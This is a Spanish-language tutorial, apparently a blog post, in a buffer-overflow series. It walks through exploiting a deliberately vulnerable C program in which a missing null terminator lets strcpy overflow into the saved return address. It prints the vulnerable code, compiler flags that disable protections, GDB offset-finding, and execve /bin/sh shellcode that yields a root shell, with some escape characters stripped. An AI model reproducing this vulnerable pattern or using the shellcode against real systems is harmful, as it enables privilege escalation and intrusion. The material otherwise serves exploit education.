Esta web utiliza cookies, puedes ver nuestra política de cookies, aquí Si continuas navegando estás aceptándola

BoF second round, exploiting parte 3


El código a analizar es el siguiente:

vi overrun3.c
#include <stdio.h>
#include <string.h>

void func(char *str1, char *str2){
    char buff_a[32];
    char buff_b[24];
    char buff_c[32];
    printf("   buff_a is stored at %p.
", &buff_a);
    printf("   buff_b is stored at %p.
", &buff_b);
    printf("   buff_c is stored at %p.
", &buff_c);
    strncpy(buff_c, str1, sizeof(buff_c));
    strncpy(buff_b, str2, sizeof(buff_b)-1);
    strcpy(buff_a, buff_c);
}

int main(int argc, char *argv[]){
    if ( argc < 3 ){
        printf("Uso: %s CADENA-1 CADENA-2
", argv[0]);
        exit(0);
    }
    
    func(argv[1], argv[2]);
    return 0;
}

Como podemos observar he metido código de debug en el que se muestra la dirección donde se ha almacenado cada una de las variables, también cabe destacar que en buff_c y buff_b se controla la longitud de los datos a copiar en estas variables mediante strncpy(buff_c, str1, sizeof(buff_c)).

Aunque a simple vista no sea obvio, existe un problema en el código anterior, y es que las variables en RAM se delimitan por el carácter , si la entrada en una de las variables machaca este delimitador la variable terminaría donde se encuentre el próximo .

Podriamos introducir una entrada muy larga como argv[1], esta sería copiada por strncpy(buff_c, str1, sizeof(buff_c)), con lo que el delimitador desaparecería, quedando el final de buff_c en el final de de buff_b, con buff_b no hay problema ya que la copia de los datos se realiza del siguiente modo, strncpy(buff_b, str2, sizeof(buff_b)-1), al copiar buff_c en buff_a se estaría copiando buff_c+buff_b ya que es donde se encuentra el primer delimitador . De este modo podemos introducir nuestra shellcode en buff_c, sobreescribir el EIP con esta dirección y de este modo obtener un poco de magia.

Estado normal Sin delimitador

Lo primero será compilar nuestro software:

gcc -fno-stack-protector -D_FORTIFY_SOURCE=0 -z norelro -z execstack overrun3.c -o overrun3

Generamos un coredump para analizarlo posteriormente utilizando GDB:

[email protected]:~$ ulimit -c unlimited
[email protected]:~$ ./overrun3 `perl -e 'print "A"x48'` `perl -e 'print "B"x48'`
   buff_a is stored at 0xbffff710.
   buff_b is stored at 0xbffff6f8.
   buff_c is stored at 0xbffff6d8.
Violación de segmento (`core' generado)

Averiguamos la dirección donde comienza buff_c, a pesar de tener el printf para asegurarnos vamos a localizar nosotros la dirección de forma manual:

[email protected]:~$ gdb -q -c core
[New LWP 4243]
Core was generated by `./overrun3 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA BBBBBBBBBBBBBBBBBBB'.
Program terminated with signal 11, Segmentation fault.
#0  0x42424242 in ?? ()

El EIP ha sido cobreescrito con BBBBB..., afinamos un poco mas:

[email protected]:~$ ./overrun3 `perl -e 'print "A"x48'` `perl -e 'print "AAAABBBBCCCCDDDDEEEE"'`
   buff_a is stored at 0xbffff730.
   buff_b is stored at 0xbffff718.
   buff_c is stored at 0xbffff6f8.
Violación de segmento (`core' generado)
[email protected]:~$ gdb -q -c core
[New LWP 4248]
Core was generated by `./overrun3 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAABBBBCCCCDDDDEEE'.
Program terminated with signal 11, Segmentation fault.
#0  0x44444444 in ?? ()

El EIP está siendo sobreescrito con el valor de la DDDD, ahora metemos la shellcode en el primer parámetro de entrada y averiguamos la dirección de memoria donde se encuentra nuestra shellcode:

[email protected]:~$ ./overrun3 `perl -e 'print "x31xc9x31xc0x31xd2xb0x0bx51x68x2fx2fx73x68x68x2fx62x69x6ex89xe3xcdx80" . "A"x10'` `perl -e 'print "AAAABBBBCCCCDDDDEEEE"'`
   buff_a is stored at 0xbffff740.
   buff_b is stored at 0xbffff728.
   buff_c is stored at 0xbffff708.
Violación de segmento (`core' generado)
[email protected]:~$ gdb -q -c core
[New LWP 3820]
Core was generated by `./overrun3 1É1À1?
                                        Qh//shh/binã?AAAAAAAAAA AAAABBBBCCCCDDDDEEEE'.
Program terminated with signal 11, Segmentation fault.
#0  0x44444444 in ?? ()

Si miramos el contenido de la memoria en posiciones cercanas al ESP podemos distinguir nuestra shellcode:

(gdb) x/128x $esp-128
0xbffff6f0:    0xbffff740    0xbffff708    0x00000017    0xbffff7a4
0xbffff700:    0x08048230    0xbffff798    0xc031c931    0x0bb0d231
0xbffff710:    0x2f2f6851    0x2f686873    0x896e6962    0x4180cde3
0xbffff720:    0x41414141    0x41414141    0x41414141    0x42424242

(gdb) x/x 0xbffff708
0xbffff708:    0xc031c931

Volvemos a ejecutar el software pero esta vez sobreescribiremos el EIP con la dirección del inicio de la shellcode:

[email protected]:~$ whoami
kr0m

[email protected]:~$ ./overrun3 `perl -e 'print "x31xc9x31xc0x31xd2xb0x0bx51x68x2fx2fx73x68x68x2fx62x69x6ex89xe3xcdx80" . "A"x10'` `perl -e 'print "AAAABBBBCCCCx08xf7xffxbf"'`
   buff_a is stored at 0xbffff740.
   buff_b is stored at 0xbffff728.
   buff_c is stored at 0xbffff708.

# whoami  
root

NOTA: Si en algún momento dado tenemos dudas de si se está ejecutando nuestra shellcode podemos ejecutar una INT3 (0xCC) a modo de prueba así nos aseguramos de que las direcciones de memoria están calculadas correctamente y que el EIP ha sido sobreescrito con el valor correcto:

[email protected]:~$ ./overrun3 `perl -e 'print "xcc" . "A"x31'` `perl -e 'print "AAAABBBBCCCCx08xf7xffxbf"'`
   buff_a is stored at 0xbffff740.
   buff_b is stored at 0xbffff728.
   buff_c is stored at 0xbffff708.
`trap' para punto de parada/seguimiento

En este artículo hemos aprendido como de peligroso puede llegar a ser no controlar la longitud de las entradas presentadas por el usuario, en este caso ha sido capaz de omitir el carácter en la primera variable copiando así en buff_a el contenido de buff_c+buff_b y llegando a sobreescribir de este modo el EIP, también hemos visto como comprobar que se estén utilizando las direcciones de memoria correctas a pesar de que nuestra shellcode no sea ejecutada.


Autor: Kr0m -- 25/08/2014 22:08:18